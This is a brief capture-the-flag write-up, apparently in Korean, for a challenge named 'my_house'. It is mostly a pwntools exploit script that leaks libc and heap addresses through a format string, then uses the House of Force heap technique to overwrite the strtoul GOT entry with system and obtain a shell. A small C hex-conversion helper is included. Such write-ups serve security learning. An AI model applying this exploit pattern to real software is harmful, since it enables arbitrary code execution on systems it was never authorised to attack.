h3xor ctf my_house

house_of_force 이용 하장

마지막에 /bin/sh

exploit.py

from pwn import *
 
p = process("./my_house")
#p = remote("49.236.136.140",13000)
e = ELF("./my_house")
 
p.recv()
p.send("A" * 256)
p.recv()
 
 
def hexdemical_c(c):
    a = process("./he_x")
    a.sendline(str(c))
    return a.recv(8)
#0xfc
 
p.send("%x %x %x")
p.recvuntil("have ")
p.recvuntil(" ")
libc_base = int(p.recv(8),16) - 0x1b25a0
 
log.success("libc_base : " + hex(libc_base))
 
p.recvuntil("at ")
 
leaked = int(p.recv(9),16)
 
TOP_CHUNK = leaked + 544 + 36
victim = e.got["strtoul"] - TOP_CHUNK  - 8
 
log.success("TOP_CHUNK : " + hex(TOP_CHUNK))
log.success("victim : " + hex(victim))
log.success("system : " + hex(libc_base + 0x3ada0))
 
 
p.sendline("1")
p.sendline("f8")
p.send("B" * 0xf7)
p.recv()
 
p.sendline("3")
p.sendline("1")
p.send("C"*252 + p32(0xffffffff))
 
raw_input()
print p.recv()
log.success("HEX : "+str(hexdemical_c(int(victim))))
p.sendline("1")
p.sendline(hexdemical_c(int(victim)))
p.recv()
 
 
p.sendline("1")
p.sendline("f8")
p.sendline( p32(libc_base + 0x3ada0))
 
 
 
 
p.interactive()
 

hexdemical_c.c

#include <stdio.h>
 
 
int main()
{
int a;
scanf("%d",&a);
printf("%x \n",a);
return 0;
}